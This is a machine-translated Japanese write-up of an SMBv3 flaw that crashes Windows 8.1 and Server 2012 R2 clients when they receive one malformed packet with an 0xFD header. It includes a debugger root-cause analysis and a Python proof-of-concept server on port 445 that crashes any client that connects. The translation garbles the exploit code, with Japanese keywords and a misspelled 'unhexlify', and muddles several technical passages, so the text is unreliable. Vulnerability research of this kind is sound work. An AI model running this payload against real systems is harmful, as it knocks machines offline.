Jump to content

0x01序文

昨年末、SMBプロトコルを見つけるためにエミュレータが設定されたとき、大企業に対するこのような単純で非常に効果的な攻撃が発見されたことが脆弱性が発見されました。 TL; DR:サービスの拒否エラーにより、BSODプロトコルはWindows 8.1およびWindows Server 2012 R2コンピューターに単一のパケットを送信できます。

0x02テスト環境

影響を受けるシステム:

・Windows8.1(x86)

・Windows Server 2012 R2(x64)

0x03背景知識

この脆弱性の根本原因を理解するには、SMBパケットがどのように構造化されているかを理解する必要があります。 SMBV1プロトコルヘッダーファイルを見てみましょう。

xeocmway1w19113.jpg

44s5jh4u3br9114.jpg

プロトコルフィールドがFFバイトから始まるのを見たように、SMBV2を見てみましょう

yq5b4gjckiz9115.jpg

プロトコルフィールドは現在、FEバイトから始まるので、SMBV3はどうですか? SMBプロトコルのV3バージョンは既に暗号化されており、暗号化された通信にSMB2_Transformの特定のヘッダーを使用します。

h1smrx4s3al9116.jpg

SMBV3セッションの交渉はSMBV2セッションから始まることを公式ドキュメントで学ぶことができるため、SMBV3は常に暗号化されています。 SMBV3セッションをセットアップするときに関係するパケットは次のとおりです。

0r5go5xgak19117.jpg

1〜8バイトのパケットで、SMBヘッダーは次のようになります。

xcn5kjkbaxc9118.jpg

使用されるバイトシーケンスはまだ0xfeであり、これは公式のMicrosoftドキュメントに示されているSMBV2のコードであることがわかります。

バイト9から始まると、暗号化は接続された状態にあり、ヘッダーで使用されるバイトシーケンスは0xfd ioom0ectouz9119.jpgになります

POCでわかるように、最初のセッション中に0xFDヘッダーを備えたSMBパケットがすぐに送信されると、カーネルのクラッシュが発生します。さて、このクラッシュの根本原因を理解するために、クラッシュダンプメカニズムを掘り下げましょう。

0x04ルール原因分析

Windows 8.1(x86)でのみ実行されて根本原因を分析すると、特定のパケットを送信すると、アドレス0x00000030で保護された値(空のページ保護)をメモリから読み取るため、カーネルがクラッシュします。

nr5gtz2ta3s9120.jpg

クラッシュするモジュールは「MRXSMB.SYS」です。これは、Microsoft Server Message Block(SMB)のResizerです。クラッシュの正確な位置はMRXSMBです! SMBWKSRECEIVEEVENT + 8539。[ECX + 30H]からEAXへのオフセットで、ECXの値は0x00000000を指します。 IDAを通るフローを分析するとき、それは次のようになります。パケットを処理し、暗号化が有効になっているかどうかを確認します。

3.0関連

1upoihoyijn9121.jpg

Windbgでは、次のように見えます。

svbwyebslvc9122.jpg

基本的に、暗号化が有効になっているかどうかを確認します。この場合、「エラー」パスに従い、次の関数に移動します。

e4jaczlj3cy9123.jpg

いくつかの比較手順を実行し、2番目の最後の命令は、ECXがHEX値0x34に登録されているかどうかを確認することです。 ECXが0x34以下の場合、この場合にエラーが発生します。

aoxhjlmiwz19124.jpg

「エラー」パスに従って:別の命令が発生します。その場合、レジスタEDX(攻撃者の制御可能な値)が[ESP+4C]の値よりも高い場合、「実際の」パスに従います。

v2pxupnp2gk9125.jpg

さまざまなレジスタの値:

pvec1n0rku59126.jpg

次の命令では、ECXの値を再び0x34に比較します。ECXが0x34よりも高い場合、「実際の」パスに従います

l5z4vxf5hcw9127.jpg

この場合、ECXの値は0x34よりも高いため、実際のパスに従います。次の命令ブロックでは、_MICROSOFT_WINDOWS_SMBCLIENTENABLEBITS '値0x80000000の間の値をテストします。 Windbgでは、テストが「エラー」になることがわかります。これにより、「エラー」パスに従います。

3utaomdequd9128.jpg

常に「真」であるテスト指示を受け入れるように導く

vd4j0yrbiwz9129.jpg

loca0f20e05関数を使用する代わりに、ゼロをスタックの後ろに置きます。その場合、 "loca0f20e15"を実行します。ECX + 30HをEAXに移動する命令で、ECXが0x000000000であるためにクラッシュが発生します。

ljksqoxs5nu9130.jpg

これにより、カーネルがクラッシュし、マシンの再起動を強制します。

0x05 POC

を使用します

Import SocketServer

binasciiからインポートUnexlifyから

ペイロード='000000ECFD534D424141414141414141414141414141414141414141414 141414141414141414141414141414141414141414141414141414141414 141414141414141414141414141414141414141414141414141414141414 1414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 ''

Class Byebye(socketserver.baserequesthandler):

defハンドル(自己):

try:

'from:'、self.client_addressを印刷します

印刷'[*]ペイロードの送信.'

self.request.send(unsexlify(ペイロード))

例外を除く:

印刷「BSODトリガーオン」、self.client_address

合格

socketserver.tcpserver.allow_reuse_address=1

起動=socketserver.tcpserver(( ''、445)、byebye)

launch.serve_forever()

0x06脆弱性の再発

1。KALIでスクリプトを実行します

3mqsomh0g4m9131.jpg

2.次に、Windows 2012 R2で共有アドレス: \\ 10.0.0.217にアクセスすると、すぐにオペレーティングシステムのブルースクリーンが表示されます。

1.png

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...